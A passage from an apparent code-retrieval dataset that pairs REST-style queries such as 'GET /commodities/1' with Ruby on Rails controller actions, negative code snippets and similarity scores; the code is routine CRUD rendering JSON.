"def index\n @companies = Company.all\n if @companies\n render json: {\n companies: @companies\n }\n else\n render json: {\n status: 500,\n errors: ['No companies']\n }\n end\n end",
"def show\n render json: @competitor_price\n end",
"def index\n @quantities = Quantity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @quantities }\n end\n end",
"def index\n @specialties = Specialty.all\n\n render json: @specialties\n end",
"def create\n @commodity = Commodity.new(commodity_params)\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to commodities_url, notice: 'Commodity was successfully created.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @companies = companies_scope\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n if (params[:city_id])\n @city = City.find(params[:city_id].to_i)\n @oxygen_suppliers = @city.oxygen_suppliers.active_list\n else\n @oxygen_suppliers = OxygenSupplier.active_list\n end\n end",
"def index\n @enquiries = @product.enquiries\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @enquiries }\n end\n end",
"def index\n if is_my_resource(params[:prossumer_id])\n @products = Product.where(prossumer_id: params[:prossumer_id]).as_json({\n cycle_id: params[:cycle_id],\n include: {\n prossumer: {\n except: [:encrypted_password, :salt, :confirm_hash]\n },\n product_category: {}\n }\n })\n render json: @products\n end\n end",
"def index\n @person_equipments = PersonEquipment.all\n respond_to do |format|\n format.html\n format.json { render json: @person_equipments }\n end\n end",
"def index\n @oportunities = Oportunity.all\n end",
"def all_companies_information\n\t\tbegin\n\t url = URI.parse(Rails.application.secrets[:api_endpoints]['onething']['url_company_info'])\n\t\t url_params = {}\n\t\t path = \"#{url.path}?#{url_params.collect { |k,v| \"#{k}=#{CGI::escape(v.to_s)}\"}.join('&')}\"\n\t\t request = Net::HTTP::Get.new(path) \n\t\t response = Net::HTTP.start(url.host, url.port, :use_ssl => false, :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http| \n\t\t http.request(request)\n\t\t end \n\t\t json_data = JSON.parse(response.body) rescue nil\n\t\t if !json_data.present?\n\t\t \treturn {}\n\t\t else\n\t\t return json_data\n\t\t end\n\t rescue => e\n\t \treturn {:message => 'Error in fetchng API data. Please try again.'}\t\n\t end\n\tend",
"def create\n @commodity = Commodity.new(params[:commodity])\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to @commodity, notice: 'Commodity was successfully created.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @companies = Company.all\n #result\n\n if @companies.count>0\n render :json => @companies.to_json(:include =>[:confidenceLevel,:nda,:country,:region,:state,:city,:company_type,:company_investors]), :status=>:ok\n else\n render :json => \"No companies found.\".to_json\n end\n end",
"def index\n @recipies = Recipy.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipies }\n end\n end",
"def destroy\n @commodity = Commodity.find(params[:id])\n @commodity.destroy\n\n respond_to do |format|\n format.html { redirect_to commodities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @commodity = Commodity.find(params[:id])\n @commodity.destroy\n\n respond_to do |format|\n format.html { redirect_to commodities_url }\n format.json { head :no_content }\n end\n end",
"def show\n render :json => @equipment_list, :include => [:weapons, :armours, :equipments]\n end",
"def index\n hash = cookies[:city_hash]\n @city = City.find_by(city_hash: hash)\n @units = @city.units\n\n render json: @units, status: :ok\n end",
"def index\n @air_qualities = AirQuality.all\n\n render json: @air_qualities\n end",
"def index\n @companies = Company.all\n @com_info = Company.last\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def listCon\n @opportunities = Opportunity.where(\"status = ?\", \"Publish\")\n render json: @opportunities\n end",
"def index\n @food_products = FoodProduct.all\n render json: @food_products\n end",
"def index\n #@portfolio = Portfolio.find(params[:portfolio_id])\n\n @opinionable = find_opinionable\n\n @opinion = @opinionable.opinions.all\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @opinions }\n end\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def show\n @carpool = Carpool.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @carpool }\n end\n end",
"def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inventories }\n end\n end",
"def companies\n render \"company/companies.json.jbuilder\", status: :ok\n end",
"def index\n @equities = Equity.all\n end",
"def index\n @equities = Equity.all\n end",
"def stock_of(commodity)\n @stock[commodity_id(commodity)]\n end",
"def ideal_stock_of(commodity)\n @ideal_stock[commodity_id(commodity)]\n end",
"def index\n @quantities = Quantity.search(params[:search])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @quantities }\n end\n end",
"def index\n @expenses = find_expenses.all\n render json: @expenses\n end",
"def index\n @prices = Price.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prices }\n end\n end",
"def index\n @company_types = CompanyType.all\n\n render json: @company_types\n end",
"def index\n city_list = City.all\n puts city_list.inspect\n\n render json: city_list.to_json\n end",
"def index\n @dexterity_mods = DexterityMod.all\n\n render json: @dexterity_mods\n end",
"def index\n @company_authorities = CompanyAuthority.all\n\n render json: @company_authorities\n end",
"def labors\n aux = WorkOrderLabor.by_name\n render json: serialized_work_order_labors(aux)\n end",
"def planets\n data = JSON.parse(open(\"http://swapi.co/api/planets\").read)\n @results = data[\"results\"]\n end",
"def division\n @divisions = @company.divisions\n respond_to do |format|\n format.json { render json: @divisions}\n end\n end",
"def foods_units\n get('/foods/units.json')\n end",
"def show_cities\n\n @cities = City.where(\"country_id = ?\", params[:country_id])\n\n render json: @cities\n \n end",
"def index\n current_product_company\n manage_filter_state\n @product = $product\n @company = $company\n product = nil\n if !$product.nil?\n product = $product.id\n else\n product = params[:Products]\n end\n if !$company.nil?\n company = $company.id\n else\n company = params[:Companies]\n end\n\n @search = ProductCompanyPrice.search do\n #fulltext params[:search]\n if !product.blank?\n with :product_id, product\n end\n if !company.blank?\n with :company_id, company\n end\n order_by :product_id, :asc\n order_by :company_id, :asc\n paginate :page => params[:page] || 1, :per_page => per_page\n end\n @product_company_prices = @search.results\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @product_company_prices }\n format.js\n end\n end",
"def index\n @packing_quantities = PackingQuantity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @packing_quantities }\n end\n end",
"def index\n slip = Slip.all\n render json: {salary_computations:slip.as_json(except: [:id])}\n end",
"def index\n @cities = City.where(state_id: params[:id])\n respond_to do |format|\n format.json { render :json => @cities.to_json }\n end\n end",
"def get_price\n available_room_response = hotel_service.get_available_room(params)\n service_available_room = process_response(available_room_response, 'HotelRoomAvailabilityResponse')\n rooms = []\n if service_available_room[\"status\"] == OK\n available_rooms = JSON.parse(service_available_room[\"response\"])\n bookings = available_rooms[\"HotelRoomAvailabilityResponse\"]\n if bookings && bookings[\"@size\"].to_i == 1\n rooms = []\n rooms << bookings[\"HotelRoomResponse\"]\n elsif bookings && bookings[\"@size\"].to_i > 1\n rooms = bookings[\"HotelRoomResponse\"]\n end\n end\n render :json => {:result=> rooms}\n end",
"def index\n @civilizations = Civilization.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @civilizations }\n end\n end",
"def show\n render json: @pricing\n end",
"def show\n render json: Company.find(params[\"id\"])\n end",
"def show\n render json: @company\n end",
"def show\n render json: @petty_cash_expense\n end",
"def index\n\n get_collections\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @deities }\n format.js {}\n end\n end",
"def index\n @shop_platinum_offers = Shop::PlatinumOffer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shop_platinum_offers }\n end\n end",
"def index\n @rentable_items = RentableItem.all\n render json: @rentable_items\n end",
"def index\n @fundamentals_histories = @company.fundamentals_histories.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fundamentals_histories }\n end\n end",
"def new\n @commodity = Commodity.new\n old_commodity = Commodity.find(params[:id]) if params[:id]\n if old_commodity\n @commodity.name = old_commodity.name\n @commodity.desc = old_commodity.desc\n @commodity.price = old_commodity.price\n @category = old_commodity.categories.first\n end\n @category = Category.first\n if @category == nil\n redirect_to commodities_path\n else\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commodity }\n end\n end\n end",
"def show\n render json: [*@company]\n end",
"def commission\n get 'commission'\n end",
"def show\n @competency = Competency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competency }\n end\n end",
"def index\n @laboratories = Laboratory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @laboratories }\n end\n end",
"def index\n @career_specialties = CareerSpecialty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @career_specialties }\n end\n end",
"def index\n get_data\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cities }\n format.js\n end\n end",
"def habitaciones\n type_of_room_id= Integer(params[:type_of_room_id])\n comfort_id = Integer( params[:comfort_id])\n @habitaciones = Room.where(\"type_of_room_id = ? and comfort_id = ?\",type_of_room_id,comfort_id)\n render json: @habitaciones\n end",
"def show\n render json: @opportunity\n end"
] | [
"0.744353",
"0.7191632",
"0.7021728",
"0.7021728",
"0.62893605",
"0.6219271",
"0.6219271",
"0.61971575",
"0.61916363",
"0.60515165",
"0.60473996",
"0.60470873",
"0.6032051",
"0.602139",
"0.6019676",
"0.6001457",
"0.5991329",
"0.5917073",
"0.5911838",
"0.5896755",
"0.5879311",
"0.5878571",
"0.5841332",
"0.5828074",
"0.5801787",
"0.5796875",
"0.5787465",
"0.57698613",
"0.5766687",
"0.57657665",
"0.57587135",
"0.57428914",
"0.5737317",
"0.57330275",
"0.5725128",
"0.56925786",
"0.5689382",
"0.567945",
"0.5653593",
"0.5645369",
"0.56393576",
"0.56384915",
"0.5637685",
"0.5634053",
"0.56233025",
"0.56228983",
"0.56228983",
"0.5604182",
"0.5602076",
"0.55924475",
"0.5589132",
"0.5588692",
"0.558707",
"0.5577321",
"0.5575861",
"0.5575861",
"0.5575861",
"0.5575861",
"0.5567268",
"0.5559768",
"0.55437475",
"0.5540504",
"0.5540504",
"0.55328435",
"0.5529878",
"0.5529014",
"0.5526831",
"0.55163205",
"0.5513683",
"0.55014205",
"0.5498404",
"0.5483111",
"0.54760444",
"0.54662746",
"0.5465754",
"0.5458631",
"0.54581004",
"0.54560804",
"0.54532176",
"0.54477894",
"0.5443467",
"0.5442547",
"0.5441637",
"0.5440773",
"0.54402333",
"0.54374945",
"0.5434326",
"0.5432588",
"0.5425045",
"0.5423797",
"0.5423325",
"0.54189813",
"0.5418733",
"0.54149574",
"0.5414342",
"0.5414255",
"0.5412437",
"0.53890544",
"0.5379732",
"0.53753465"
] | 0.7156523 | 2 |
GET /commodities/1 GET /commodities/1.json | def show
@commodity = Commodity.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @commodity }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @commodities = Commodity.all\n if params[:search].present?\n @commodities = @commodities.query(params[:search].to_s)\n end\n @commodities = @commodities.page(params[:page])\n respond_to do |format|\n format.html\n format.js {} \n format.json { \n render json: {:commodities => @commodities}\n } \n end\n end",
"def index\n @commodities = Commodity.all\n\n respond_to do |format|\n format.html # index.html.erb\n @commoditis = Array.new\n format.json {\n @commodities = @commodities.select{|commodity|\n commoditi = Hash.new\n commodity.attributes.each do |key, value|\n commoditi[key] = value\n end\n commoditi[:links] = CommonActions.object_crud_paths(commodity_path(commodity), edit_commodity_path(commodity),\n commodity_path(commodity))\n @commoditis.push(commoditi)\n }\n render json: {:aaData => @commoditis}\n }\n end\n end",
"def index\n @categories = Category.all\n @commodities = current_user.commodities.order(\"created_at desc\")\n @selled = @commodities.where(:num => 0).page(params[:page]).per(15)\n @selling = @commodities.where(\"num > ?\", 0).page(params[:page]).per(15)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @commodities }\n end\n end",
"def new\n @commodity = Commodity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commodity }\n end\n end",
"def new\n @commodity = Commodity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commodity }\n end\n end",
"def set_commodity\n @commodity = Commodity.find(params[:id])\n end",
"def show\n @categories = Category.all\n @commodity = Commodity.find(params[:id])\n @comment = Comment.new\n @comment.commodity = @commodity\n @order = Order.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commodity }\n end\n end",
"def dispense_commodity\n @commodity.new\n end",
"def getbyId\n begin\n @company = Company.find(params[:id])\n render :json => @company.to_json(:include =>[:confidenceLevel,:nda,:country,:region,:state,:city,:company_type,:companyInvestors,:classifications,:companyGeos,:companyRevenues,:companyGrowths]), :status=>:ok\n rescue\n render :json=>\"No company found\"\n end\n end",
"def index\n @competencies = Competency.all\n respond_to do |format|\n format.json { render json: @competencies }\n end\n end",
"def show\n @carpool = Carpool.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @carpool }\n end\n end",
"def new\n @commodity = Commodity.new\n old_commodity = Commodity.find(params[:id]) if params[:id]\n if old_commodity\n @commodity.name = old_commodity.name\n @commodity.desc = old_commodity.desc\n @commodity.price = old_commodity.price\n @category = old_commodity.categories.first\n end\n @category = Category.first\n if @category == nil\n redirect_to commodities_path\n else\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commodity }\n end\n end\n end",
"def create\n @commodity = Commodity.new(commodity_params)\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to commodities_url, notice: 'Commodity was successfully created.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @commodity = Commodity.new(params[:commodity])\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to @commodity, notice: 'Commodity was successfully created.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @commodity = Commodity.find(params[:id])\n @commodity.destroy\n\n respond_to do |format|\n format.html { redirect_to commodities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @commodity = Commodity.find(params[:id])\n @commodity.destroy\n\n respond_to do |format|\n format.html { redirect_to commodities_url }\n format.json { head :no_content }\n end\n end",
"def index\n @commemts = Commemt.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @commemts }\n end\n end",
"def index\n @companies = Company.all\n @com_info = Company.last\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def show\n render json: Company.find(params[\"id\"])\n end",
"def index\n @opportunities = Opportunity.all\n\n render json: @opportunities\n end",
"def get_expense_companies\n res = {\n :total => nil,\n :success => true,\n :data => []\n }\n entities = OrderEntity.find_all_by_order_id(params[:id], :include => [:company])\n entities.each do |e|\n res[:data].push([e.id, e.company.name])\n end\n\n render :json => res.to_json, :layout => false\n\n end",
"def byId\n @company = Company.find(company_params[:id])\n\n render json: @company\n end",
"def show\n render json: @competitor_price\n end",
"def index\n @equipos = Equipo.all\n render json: @equipos, status: :ok\n end",
"def index\n @pricings = Pricing.all\n\n render json: @pricings\n end",
"def show\n @equipment = Equipment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @equipment }\n end\n end",
"def show\n @competency = Competency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competency }\n end\n end",
"def index\n @comunities = Comunity.all\n end",
"def index\n @equipment_orders = EquipmentOrder.all\n respond_to do |format|\n format.json { render json: @equipment_orders }\n end\n end",
"def show\n company = Company.find_by_id(params[:id])\n if company.blank?\n render(\n json: {\n error: {\n code: 404,\n message: \"Company not found\",\n errors: {\n message: \"Company not found\"\n }\n }\n })\n return\n end\n\n render json: {\n data: {\n kind: Company.name,\n id: company.id,\n company: company.as_json(include: :industry)\n }\n }\n end",
"def index\n @sales_productivities = SalesProductivity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sales_productivities }\n end\n end",
"def show\n @lab_equipment = LabEquipment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lab_equipment }\n end\n end",
"def index\n if is_my_resource(params[:prossumer_id])\n @products = Product.where(prossumer_id: params[:prossumer_id]).as_json({\n cycle_id: params[:cycle_id],\n include: {\n prossumer: {\n except: [:encrypted_password, :salt, :confirm_hash]\n },\n product_category: {}\n }\n })\n render json: @products\n end\n end",
"def update\n @commodity = Commodity.find(params[:id])\n\n respond_to do |format|\n if @commodity.update_attributes(commodity_params)\n format.html { redirect_to commodities_url, notice: 'Commodity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def getuom\n @deliverable_type = DeliverableType.find(params[:id])\n respond_to do |format|\n format.json { render :json => @deliverable_type.uom}\n end\n end",
"def index\n @recipies = Recipy.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipies }\n end\n end",
"def show\n @breadcrumb = 'read'\n @product = $product\n @company = $company\n @product_company_price = ProductCompanyPrice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product_company_price }\n end\n end",
"def index\n @intelcompanies = IntelCompany.all\n render json: @intelcompanies.to_json(include: [:intel, :company])\n end",
"def update\n @commodity = Commodity.find(params[:id])\n\n respond_to do |format|\n if @commodity.update_attributes(params[:commodity])\n format.html { redirect_to @commodity, notice: 'Commodity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @cities = City.all\n\n render json: @cities\n end",
"def commodities(commodities_hash)\n return self if commodities_hash.nil?\n\n commodities_hash.each do |commodity_hash|\n @sim_data.add_commodity(Commodity.new(commodity_hash['Name']))\n end\n\n self\n end",
"def stock_of(commodity)\n @stock[commodity_id(commodity)]\n end",
"def show\n @commemt = Commemt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commemt }\n end\n end",
"def index\n @specialties = Specialty.all\n\n render json: @specialties\n end",
"def index\n if (params[:city_id])\n @city = City.find(params[:city_id].to_i)\n @oxygen_suppliers = @city.oxygen_suppliers.active_list\n else\n @oxygen_suppliers = OxygenSupplier.active_list\n end\n end",
"def show\n @mostsmallitemequipinventory = Mostsmallitemequipinventory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mostsmallitemequipinventory }\n end\n end",
"def show\n @commtent1 = Commtent1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commtent1 }\n end\n end",
"def show\n render json: @company\n end",
"def show\n render json: @pricing\n end",
"def index\n @companies = Company.all\n @cities = City.all\n #render json: @companies\n render json: { :companies => @companies, :cities => @cities }\n end",
"def index\n @quantities = Quantity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @quantities }\n end\n end",
"def show\n render json: @petty_cash_expense\n end",
"def index\n @equipment_lists = EquipmentList.all\n render :json => @equipment_lists, :include => [:weapons, :armours, :equipments]\n end",
"def show\n render :json => @equipment_list, :include => [:weapons, :armours, :equipments]\n end",
"def ideal_stock_of(commodity)\n @ideal_stock[commodity_id(commodity)]\n end",
"def show\n @closet_item = ClosetItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @closet_item }\n end\n end",
"def show\n @comic = Comic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comic }\n end\n end",
"def show\n @comic = Comic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comic }\n end\n end",
"def show\n @territory = current_company.territories.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @territory }\n end\n end",
"def index\n @companies = Company.all\n if @companies\n render json: {\n companies: @companies\n }\n else\n render json: {\n status: 500,\n errors: ['No companies']\n }\n end\n end",
"def show\n render json: [*@company]\n end",
"def all_companies_information\n\t\tbegin\n\t url = URI.parse(Rails.application.secrets[:api_endpoints]['onething']['url_company_info'])\n\t\t url_params = {}\n\t\t path = \"#{url.path}?#{url_params.collect { |k,v| \"#{k}=#{CGI::escape(v.to_s)}\"}.join('&')}\"\n\t\t request = Net::HTTP::Get.new(path) \n\t\t response = Net::HTTP.start(url.host, url.port, :use_ssl => false, :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http| \n\t\t http.request(request)\n\t\t end \n\t\t json_data = JSON.parse(response.body) rescue nil\n\t\t if !json_data.present?\n\t\t \treturn {}\n\t\t else\n\t\t return json_data\n\t\t end\n\t rescue => e\n\t \treturn {:message => 'Error in fetchng API data. Please try again.'}\t\n\t end\n\tend",
"def index\n @modalities = Modality.all\n json_response(@modalities)\n end",
"def commission\n get 'commission'\n end",
"def show\n @onecompany_product = Onecompany::Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @onecompany_product }\n end\n end",
"def show\n render json: @opportunity\n end",
"def show\n @complaint = Complaint.find(params[:id])\n\n render json: @complaint\n end",
"def index\n @person_equipments = PersonEquipment.all\n respond_to do |format|\n format.html\n format.json { render json: @person_equipments }\n end\n end",
"def companies\n render \"company/companies.json.jbuilder\", status: :ok\n end",
"def index\n hash = cookies[:city_hash]\n @city = City.find_by(city_hash: hash)\n @units = @city.units\n\n render json: @units, status: :ok\n end",
"def show\n @slot = Slot.where(:id => params[:id], :company_id => current_user.company.id).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slot }\n end\n end",
"def index\n @communities = Community.all\n render json: {items: @communities}\n end",
"def index\n @air_qualities = AirQuality.all\n\n render json: @air_qualities\n end",
"def show\n @sales_productivity = SalesProductivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sales_productivity }\n end\n end",
"def show\n @compliment = Compliment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @compliment }\n end\n end",
"def create\n @commodity = Commodity.new(commodity_params)\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to commodities_url, flash: {success: '操作成功.' } }\n format.json { render :show, status: :created, location: @commodity }\n else\n format.html { render :new }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @enquiries = @product.enquiries\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @enquiries }\n end\n end",
"def index\n @localities = Locality.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @localities }\n end\n end",
"def show\n @evaluable_competency = EvaluableCompetency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @evaluable_competency }\n end\n end",
"def index\n @petty_cash_expenses = PettyCashExpense.all\n render json: @petty_cash_expenses\n end",
"def index\n @territories = current_company.territories\n @regions = Region.all_regions\n @max_pop = Region.maximum(:population)\n @min_pop = Region.minimum(:population)\n @max_biz_pop = Region.maximum(:business_population)\n @min_biz_pop = Region.minimum(:business_population)\n @opportunities = current_company.opportunities\n @reps = current_company.representatives\n respond_with(@territories)\n end",
"def show\n @equipo= (set_equipo)\n render json: @equipo, status: :ok\n end",
"def show\n @grocery = Grocery.find(params[:id])\n\n render json: @grocery\n end",
"def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inventories }\n end\n end",
"def show\n @competent = Competent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competent }\n end\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def habitaciones\n type_of_room_id= Integer(params[:type_of_room_id])\n comfort_id = Integer( params[:comfort_id])\n @habitaciones = Room.where(\"type_of_room_id = ? and comfort_id = ?\",type_of_room_id,comfort_id)\n render json: @habitaciones\n end",
"def index\n @companies = companies_scope\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def new\n @jetties = Jetty.order(:name)\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def index\n @packing_quantities = PackingQuantity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @packing_quantities }\n end\n end",
"def get_part_by_car\n @cars = PartsController::PartService.get_part_by_car(params[:param]);\n respond_to do |format|\n format.json { render json: @cars }\n end \n end",
"def index\n @shop_platinum_offers = Shop::PlatinumOffer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shop_platinum_offers }\n end\n end",
"def show\n @company = Company.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @company }\n end\n end",
"def show\n @company = Company.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @company }\n end\n end",
"def show\n @company = Company.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @company }\n end\n end",
"def show\n @company = Company.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @company }\n end\n end"
] | [
"0.71551454",
"0.69652677",
"0.689434",
"0.6624344",
"0.6624344",
"0.6546328",
"0.6453164",
"0.62858075",
"0.62366587",
"0.61024487",
"0.6100771",
"0.6013886",
"0.5983782",
"0.5970167",
"0.5938198",
"0.5938198",
"0.5905315",
"0.58970386",
"0.5895779",
"0.5863152",
"0.5861469",
"0.5843994",
"0.5816296",
"0.5812809",
"0.5754381",
"0.57485765",
"0.5745969",
"0.57438636",
"0.5740595",
"0.57320476",
"0.57319343",
"0.5719553",
"0.5712258",
"0.57068855",
"0.5692538",
"0.5688024",
"0.56673366",
"0.5665489",
"0.5657841",
"0.56559974",
"0.5653441",
"0.56436574",
"0.5639972",
"0.5614729",
"0.56107754",
"0.5606974",
"0.56065685",
"0.5603926",
"0.55973876",
"0.5595836",
"0.5592491",
"0.55819666",
"0.55813277",
"0.5579849",
"0.55774945",
"0.5574513",
"0.5572847",
"0.5572847",
"0.5572201",
"0.5570916",
"0.5565562",
"0.55642235",
"0.5562096",
"0.5559626",
"0.5558131",
"0.55484235",
"0.5537145",
"0.55270326",
"0.55150163",
"0.55086017",
"0.5495557",
"0.54911643",
"0.5489561",
"0.54873526",
"0.54807645",
"0.54800755",
"0.5477455",
"0.5476024",
"0.5471956",
"0.54701823",
"0.54619896",
"0.54613733",
"0.5461113",
"0.54608196",
"0.545709",
"0.5451594",
"0.5451594",
"0.5451594",
"0.5451594",
"0.54485524",
"0.54449373",
"0.54306555",
"0.5425537",
"0.5425169",
"0.54167414",
"0.5409835",
"0.5409835",
"0.5409835",
"0.5409835"
] | 0.7433827 | 1 |
GET /commodities/new GET /commodities/new.json | def new
@commodity = Commodity.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @commodity }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @commodity = Commodity.new(commodity_params)\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to commodities_url, notice: 'Commodity was successfully created.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @commodity = Commodity.new\n old_commodity = Commodity.find(params[:id]) if params[:id]\n if old_commodity\n @commodity.name = old_commodity.name\n @commodity.desc = old_commodity.desc\n @commodity.price = old_commodity.price\n @category = old_commodity.categories.first\n end\n @category = Category.first\n if @category == nil\n redirect_to commodities_path\n else\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commodity }\n end\n end\n end",
"def create\n @commodity = Commodity.new(params[:commodity])\n\n respond_to do |format|\n if @commodity.save\n format.html { redirect_to @commodity, notice: 'Commodity was successfully created.' }\n format.json { render json: @commodity, status: :created, location: @commodity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @commodity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @carpool = Carpool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @carpool }\n end\n end",
"def new\n @equipment = Equipment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @equipment }\n end\n end",
"def new\n @corporations = Corporation.all(:select => \"id, name\").to_json\n @control_tower = ControlTower.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @control_tower }\n end\n end",
"def new\n @company = Company.new(:name => 'default')\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @company }\n end\n end",
